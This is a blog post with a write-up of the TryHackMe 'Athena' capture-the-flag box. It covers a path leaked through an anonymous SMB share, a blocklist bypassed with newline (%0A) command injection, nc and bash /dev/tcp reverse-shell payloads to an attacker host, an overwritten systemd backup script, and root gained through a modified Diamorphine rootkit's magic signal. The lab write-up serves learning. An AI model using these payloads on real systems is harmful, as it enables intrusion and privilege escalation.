DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe : Athena Writeup

Overview

Athena is an easy-rated TryHackMe box that chains a leaked internal path
(found via an anonymous SMB share) into a command injection vulnerability in
a "router panel" ping tool, followed by a writable backup script abused via
a systemd service running as a second user, and finished off with a
misconfigured sudo rule that lets that user load an arbitrary kernel
module - in this case a customized build of the
Diamorphine LKM rootkit that grants
instant root via a magic signal.

Recon

nmap -A -Pn <MACHINE_IP> -o map
Enter fullscreen mode Exit fullscreen mode
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Athena - Gods of olympus
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Enter fullscreen mode Exit fullscreen mode
Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: ROUTERPANEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Enter fullscreen mode Exit fullscreen mode

Three services in scope: SSH, an Apache-hosted site themed around the
goddess Athena, and Samba/SMB. The NetBIOS name ROUTERPANEL was an early
hint at what was hiding behind the web app.

Web Enumeration

The homepage (curl http://<MACHINE_IP>/) is a static lore page about
Athena - no obvious functionality, just flavor text and an image.

Directory brute-forcing turned up nothing interesting:

ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
Enter fullscreen mode Exit fullscreen mode
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4348ms]
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4346ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 57ms]
Enter fullscreen mode Exit fullscreen mode
whatweb http://<MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode
http://<MACHINE_IP> [200 OK] Apache[2.4.41], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], Meta-Author[matheuz], Title[Athena - Gods of olympus]
Enter fullscreen mode Exit fullscreen mode

Nothing actionable on the web side by itself - moved to SMB.

SMB Enumeration

nxc smb <MACHINE_IP> -u guest -p ''
Enter fullscreen mode Exit fullscreen mode
SMB   <MACHINE_IP>   445   ROUTERPANEL   [*] Unix - Samba (name:ROUTERPANEL) (domain:ROUTERPANEL) (signing:False) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE_IP>   445   ROUTERPANEL   [-] ROUTERPANEL\guest: STATUS_LOGON_FAILURE
Enter fullscreen mode Exit fullscreen mode

Guest failed, but null auth was flagged as supported - tried a blank
username instead:

nxc smb <MACHINE_IP> -u '' -p ''
Enter fullscreen mode Exit fullscreen mode
SMB   <MACHINE_IP>   445   ROUTERPANEL   [+] ROUTERPANEL\:
Enter fullscreen mode Exit fullscreen mode

Successful anonymous login. Enumerated shares:

nxc smb <MACHINE_IP> -u '' -p '' --shares
Enter fullscreen mode Exit fullscreen mode
Share   Permissions   Remark
-----   -----------   ------
public  READ
IPC$                  IPC Service (Samba 4.15.13-Ubuntu)
Enter fullscreen mode Exit fullscreen mode

Connected and grabbed the one file on offer:

smbclient //<MACHINE_IP>/Public -N
Enter fullscreen mode Exit fullscreen mode
smb: \> ls
  msg_for_administrator.txt           N      253  Sun Apr 16 20:54:43 2023
smb: \> get msg_for_administrator.txt
Enter fullscreen mode Exit fullscreen mode
cat msg_for_administrator.txt
Enter fullscreen mode Exit fullscreen mode
Dear Administrator,

I would like to inform you that a new Ping system is being developed and I left the corresponding application in a specific path, which can be accessed through the following address: /myrouterpanel

Yours sincerely,

Athena
Intern
Enter fullscreen mode Exit fullscreen mode

An internal note leaking a hidden path - classic case of secrets ending up
on an anonymously readable share.

Finding the Router Panel

curl http://<MACHINE_IP>/myrouterpanel/
Enter fullscreen mode Exit fullscreen mode

Renders a "Simple Router Panel" page with a ping tool:

<form method="post" action="ping.php">
    <label for="ip">IP address: </label>
    <input type="text" name="ip" id="ip" required class="ip">
    <button type="submit" name="submit" class="button">Send</button>
</form>
Enter fullscreen mode Exit fullscreen mode

Confirmed it actually pings:

curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=127.0.0.1&submit=Send'
Enter fullscreen mode Exit fullscreen mode
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.022 ms
...
Enter fullscreen mode Exit fullscreen mode

Command Injection

The classic separators were all caught by an application-level filter:

curl ... --data-urlencode 'ip=127.0.0.1 && id' -d 'submit=Send'
→ Attempt hacking!

curl ... -d 'ip=127.0.0.1;whoami&submit=Send'
→ Attempt hacking!

curl ... -d 'ip=127.0.0.1|id&submit=Send'
→ Attempt hacking!

curl ... -d 'ip=127.0.0.1%26%26id&submit=Send'
→ Attempt hacking!
Enter fullscreen mode Exit fullscreen mode

&&, ;, | were all blocklisted. A literal newline in the ip parameter
was not:

curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=127.0.0.1%0Aid&submit=Send'
Enter fullscreen mode Exit fullscreen mode
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Confirmed OS command injection as www-data via a raw %0A (newline)
separator, which the app's blocklist never accounted for.

Getting a Shell

Attempts using bash's /dev/tcp and Python pty.spawn reverse shells were
both silently blocked by the same filter (likely matching on /dev/tcp or
socket-related strings), even though a plain echo /dev/tcp and which nc
both worked fine to confirm the binary existed and the path string itself
wasn't blocked outright:

curl ... --data-urlencode $'ip=127.0.0.1\nbash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"' -d 'submit=Send'
→ Attempt hacking!

curl ... --data-urlencode $'ip=127.0.0.1\npython3 -c \'import socket,os,pty;...\'' -d 'submit=Send'
→ Attempt hacking!
Enter fullscreen mode Exit fullscreen mode

Switched to a plain nc -e reverse shell instead, which worked outright:

curl http://<MACHINE_IP>/myrouterpanel/ping.php --data-urlencode $'ip=127.0.0.1\nnc <ATTACKER_IP> 4444 -e sh' -d 'submit=Send'
Enter fullscreen mode Exit fullscreen mode

This is the payload that produced the actual working shell:

curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=%0A nc -c /bin/sh <ATTACKER_IP> 4444 &submit='
Enter fullscreen mode Exit fullscreen mode
penelope listen -p 4444
Enter fullscreen mode Exit fullscreen mode
[+] [New Reverse Shell] => routerpanel <MACHINE_IP> Linux-x86_64 www-data(33)
www-data@routerpanel:/var/www/html/myrouterpanel$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Landed as www-data.

Privilege Escalation: www-data -> athena

Enumerated /home and found two users, with direct access blocked:

www-data@routerpanel:/home$ ls
athena  ubuntu
www-data@routerpanel:/home$ cd athena/
bash: cd: athena/: Permission denied
Enter fullscreen mode Exit fullscreen mode

Looked for files owned by athena anywhere on disk:

www-data@routerpanel:/home$ find / -type d -user athena 2>/dev/null
/home/athena
/usr/share/backup
Enter fullscreen mode Exit fullscreen mode

/usr/share/backup stood out - inspected it:

www-data@routerpanel:/home$ ls -la /usr/share/backup
-rwxr-xr-x   1 www-data athena     258 May 28  2023 backup.sh
Enter fullscreen mode Exit fullscreen mode

The script is owned by athena's group but writable by www-data
(the current user owns the file outright):

www-data@routerpanel:/home$ cat /usr/share/backup/backup.sh
#!/bin/bash
backup_dir_zip=~/backup
mkdir -p "$backup_dir_zip"
cp -r /home/athena/notes/* "$backup_dir_zip"
zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"
rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh
echo "Backup completed..."
Enter fullscreen mode Exit fullscreen mode

Checked what runs it - not cron, but a systemd service:

www-data@routerpanel:/home$ cat /etc/systemd/system/athena_backup.service
[Unit]
Description=Backup Athena Notes

[Service]
User=athena
Group=athena
ExecStart=/bin/bash /usr/share/backup/backup.sh
Restart=always
RestartSec=1min

[Install]
WantedBy=multi-user.target
Enter fullscreen mode Exit fullscreen mode

Restart=always with a 1-minute RestartSec means this service re-executes
the script on a loop, running as athena. Since www-data can write to the
script, overwriting it hands over a shell as athena on the next restart
cycle:

www-data@routerpanel:/home$ echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1' > /usr/share/backup/backup.sh
Enter fullscreen mode Exit fullscreen mode
penelope listen -p 9001
Enter fullscreen mode Exit fullscreen mode
[+] [New Reverse Shell] => routerpanel <MACHINE_IP> Linux-x86_64 athena(1001)
athena@routerpanel:/$ id
uid=1001(athena) gid=1001(athena) groups=1001(athena)
Enter fullscreen mode Exit fullscreen mode

Landed as athena within the minute. Grabbed the user flag:

athena@routerpanel:~$ cat user.txt
Enter fullscreen mode Exit fullscreen mode
flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation: athena -> root

Checked sudo rights:

athena@routerpanel:~$ sudo -l
Enter fullscreen mode Exit fullscreen mode
User athena may run the following commands on routerpanel:
    (root) NOPASSWD: /usr/sbin/insmod /mnt/.../secret/venom.ko
Enter fullscreen mode Exit fullscreen mode

athena can load one specific, pre-existing kernel module as root with no
password. Checked what it actually is:

athena@routerpanel:~$ modinfo /mnt/.../secret/venom.ko
Enter fullscreen mode Exit fullscreen mode
filename:       /mnt/.../secret/venom.ko
description:    LKM rootkit
author:         m0nad
license:        Dual BSD/GPL
name:           venom
vermagic:       5.15.0-69-generic SMP mod_unload modversions
Enter fullscreen mode Exit fullscreen mode

The author m0nad and description "LKM rootkit" match
Diamorphine, a well-known Linux
kernel module rootkit whose stock build hides processes/files and grants
root to any process that sends it a specific "magic" signal. This build
is renamed venom and was recompiled with a non-default magic signal
number
rather than Diamorphine's usual 64 - decompiling the module's
hacked_kill hook confirmed the actual trigger value:

int hacked_kill(pt_regs *pt_regs)
{
    ...
    iVar3 = (int)pt_regs->si;
    if (iVar3 == 0x39) {
        give_root();
        ...
    }
}
Enter fullscreen mode Exit fullscreen mode

0x39 is 57 in decimal - so this build roots any process that sends it
signal 57, not the stock Diamorphine default. Loaded the module via the
permitted sudo rule, then sent the magic signal to the shell's own PID:

athena@routerpanel:~$ sudo /usr/sbin/insmod /mnt/.../secret/venom.ko
athena@routerpanel:~$ kill -57 1
Enter fullscreen mode Exit fullscreen mode

(Signal 64 was tried first per the public repo's documented default and
was rejected - Operation not permitted - confirming the recompiled magic
number had to be found via decompilation rather than assumed from upstream.)

athena@routerpanel:~$ id
Enter fullscreen mode Exit fullscreen mode
uid=0(root) gid=0(root) groups=0(root),1001(athena)
Enter fullscreen mode Exit fullscreen mode

Instant root. Grabbed the flag:

athena@routerpanel:/root$ cat root.txt
Enter fullscreen mode Exit fullscreen mode
flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Flags

User: flag{REDACTED}
Root: flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Takeaways

  • Anonymous/null-session SMB access is still common on "easy" boxes and is worth checking even when guest login fails outright - blank username/password is a separate, distinct auth path in Samba.
  • Command injection filters that blocklist specific separators (&&, ;, |) are trivially bypassed with a raw newline (%0A) if the app doesn't also account for it - shells happily treat newlines as command separators.
  • When one payload style gets silently blocked (bash /dev/tcp, Python pty.spawn) but the target binary is confirmed present, try alternate tooling (nc -e) before assuming the vulnerability itself is dead.
  • A world/group-writable script driven by a Restart=always systemd service is a privilege escalation primitive even without direct cron access - overwrite the script, wait for the restart cycle, and the service's configured user runs your payload for you.
  • sudo -l entries granting a specific insmod on a specific .ko file are a strong signal to modinfo and reverse-engineer the module rather than assume upstream defaults - this box's rootkit was a modified Diamorphine build with a changed magic signal, and using the stock documented signal would have failed.
  • Tool referenced: m0nad/Diamorphine
    • the LKM rootkit this box's venom.ko is built from.

Top comments (0)